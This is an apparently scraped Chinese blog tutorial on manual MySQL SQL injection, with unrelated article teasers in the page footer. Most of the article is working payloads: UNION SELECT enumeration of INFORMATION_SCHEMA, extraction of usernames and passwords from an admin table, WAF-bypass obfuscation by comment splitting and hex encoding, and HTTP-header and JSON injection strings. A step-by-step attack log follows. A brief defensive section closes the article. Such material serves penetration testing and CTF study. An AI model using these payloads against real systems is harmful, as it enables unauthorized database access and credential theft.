news 2026/4/21 8:32:06

别再只会用sqlmap了!从INFORMATION_SCHEMA入手,深入理解MySQL手工注入的完整链条

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只会用sqlmap了!从INFORMATION_SCHEMA入手,深入理解MySQL手工注入的完整链条

从INFORMATION_SCHEMA到数据窃取:MySQL手工注入实战手册

当大多数安全爱好者还在依赖sqlmap这类自动化工具时,真正的高手早已转向手工注入的深度探索。这不是为了炫技,而是为了在复杂环境中掌握主动权——自动化工具可能失效,但原理永远不会过时。

1. 为什么需要手工注入?

在CTF比赛或真实渗透测试中,我们常遇到三种典型场景:

  1. WAF拦截:自动化工具的特征被识别,导致请求被阻断
  2. 非常规注入点:非标准参数或复杂过滤机制使工具失效
  3. 精准控制需求:需要精细调整payload以绕过特定防御措施

手工注入的核心价值在于理解MySQL数据字典INFORMATION_SCHEMA的运作机制。这个系统数据库存储了所有元数据,包括:

  • 数据库名(SCHEMATA)
  • 表信息(TABLES)
  • 列定义(COLUMNS)
  • 权限信息(USER_PRIVILEGES)

提示:MySQL 5.0+版本均内置INFORMATION_SCHEMA,但不同版本细节可能有差异

2. 手工注入四步法

2.1 探测与验证注入点

首先确认注入点的基本特性:

' AND 1=1 -- ' AND 1=2 -- ' OR '1'='1

观察响应差异,特别注意:

  • 错误信息是否暴露数据库结构
  • 布尔状态下的内容变化
  • 响应时间差异(时间盲注)

关键技巧:使用ORDER BY确定字段数:

' ORDER BY 5-- ' ORDER BY 10--

当出现错误时,说明超出了实际字段数。

2.2 构建UNION查询框架

确定字段数后,构建基础UNION查询:

' UNION SELECT 1,2,3,4,5--

观察哪些位置回显到页面,这将成为我们的信息展示窗口。

数据类型匹配表

字段位置推荐测试类型说明
1NULL检测类型兼容性
2'test'字符串类型验证
3@@version系统函数返回值
412345数字类型验证
5CONCAT('a','b')函数执行能力验证

2.3 利用INFORMATION_SCHEMA提取结构

获取数据库列表

' UNION SELECT 1,SCHEMA_NAME,3,4,5 FROM INFORMATION_SCHEMA.SCHEMATA--

提取指定数据库的表信息

' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='目标数据库'--

获取表结构详情

' UNION SELECT 1,COLUMN_NAME,DATA_TYPE,4,5 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='目标表'--

2.4 数据提取与优化

针对关键表执行数据提取:

' UNION SELECT 1,username,password,4,5 FROM admin--

性能优化技巧

  • 使用LIMIT分批次获取数据
  • 通过WHERE条件缩小范围
  • CONCAT_WS合并多列数据

3. 高级绕过技术

3.1 编码与混淆技术

当遇到基础过滤时,尝试:

' UNI/**/ON SEL/**/ECT 1,2,3-- 0x2720756e696f6e2073656c65637420312c322c332d2d20

常用混淆方法对比

技术类型示例适用场景
注释分割UNI//ON SEL//ECT关键字过滤
十六进制0x...引号过滤
大小写变异uNiOn SeLeCt简单大小写敏感WAF
空白符变异UNION%09SELECT空格过滤

3.2 非常规注入点利用

HTTP头注入

X-Forwarded-For: ' AND 1=CONVERT(INT,@@version)--

JSON注入

{"id":"' UNION SELECT 1,@@version,3-- "}

4. 手工vs自动化:实战对比

CTF靶场测试结果

测试项手工注入sqlmap
探测时间8分钟2分钟
获取数据库名需构造特定查询自动枚举
绕过复杂WAF灵活调整payload可能失败
学习曲线陡峭平缓
可控性精准控制每个环节黑盒操作

典型手工注入过程记录

  1. 发现搜索框存在字符型注入
  2. 确定字段数为3:
    ' ORDER BY 3-- # 正常 ' ORDER BY 4-- # 错误
  3. 确认回显位置:
    ' UNION SELECT 'pos1','pos2','pos3'--
  4. 提取数据库版本:
    ' UNION SELECT 1,@@version,3--
  5. 获取所有数据库:
    ' UNION SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA--

5. 防御视角:如何保护你的系统

了解攻击手段才能更好防御。推荐防护措施:

  • 参数化查询:永远不要拼接SQL
  • 最小权限原则:应用数据库账户只应有必要权限
  • 敏感信息加密:即使数据泄露也难解密
  • WAF规则:针对INFORMATION_SCHEMA访问设置警报

在最近一次授权测试中,我们发现某系统虽然过滤了常见关键词,但通过以下方式仍可获取数据:

' UNI/**/ON SEL/**/ECT 1,table_name,3 FR/**/OM information_schema.tables--

这种灵活的手工调整能力,正是自动化工具难以完全替代的。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 8:26:21

从Windows Server到Linux:手把手教你为VMware虚拟机更换高性能磁盘控制器(附驱动安装避坑指南)

从Windows Server到Linux:VMware虚拟机磁盘控制器升级实战手册 当你的关键业务虚拟机开始出现存储性能瓶颈时,更换磁盘控制器可能是最经济高效的解决方案。不同于物理服务器需要关机插拔硬件,虚拟化环境中的控制器更换完全通过软件配置实现—…

作者头像 李华
网站建设 2026/4/21 8:20:24

终极中文文献管理解放方案:Jasminum插件让你的Zotero效率提升300%

终极中文文献管理解放方案:Jasminum插件让你的Zotero效率提升300% 【免费下载链接】jasminum A Zotero add-on to retrive CNKI meta data. 一个简单的Zotero 插件,用于识别中文元数据 项目地址: https://gitcode.com/gh_mirrors/ja/jasminum 还在…

作者头像 李华
网站建设 2026/4/21 8:17:35

xFormers实战指南:解锁Stable Diffusion高分辨率图像生成与显存优化

1. 为什么你需要xFormers来玩转Stable Diffusion 如果你经常用Stable Diffusion生成高分辨率图片,肯定遇到过显存爆炸或者生成黑图的尴尬情况。这时候xFormers就像个救星,它能大幅降低显存占用,还能显著提升生成速度。我实测下来,…

作者头像 李华
网站建设 2026/4/21 8:13:20

题解:洛谷 P5731 【深基5.习6】蛇形方阵

本文分享的必刷题目是从蓝桥云课、洛谷、AcWing等知名刷题平台精心挑选而来,并结合各平台提供的算法标签和难度等级进行了系统分类。题目涵盖了从基础到进阶的多种算法和数据结构,旨在为不同阶段的编程学习者提供一条清晰、平稳的学习提升路径。 欢迎大家订阅我的专栏:算法…

作者头像 李华
网站建设 2026/4/21 8:12:00

茉莉花插件:3步解决Zotero中文文献管理难题,效率提升90%

茉莉花插件:3步解决Zotero中文文献管理难题,效率提升90% 【免费下载链接】jasminum A Zotero add-on to retrive CNKI meta data. 一个简单的Zotero 插件,用于识别中文元数据 项目地址: https://gitcode.com/gh_mirrors/ja/jasminum 茉…

作者头像 李华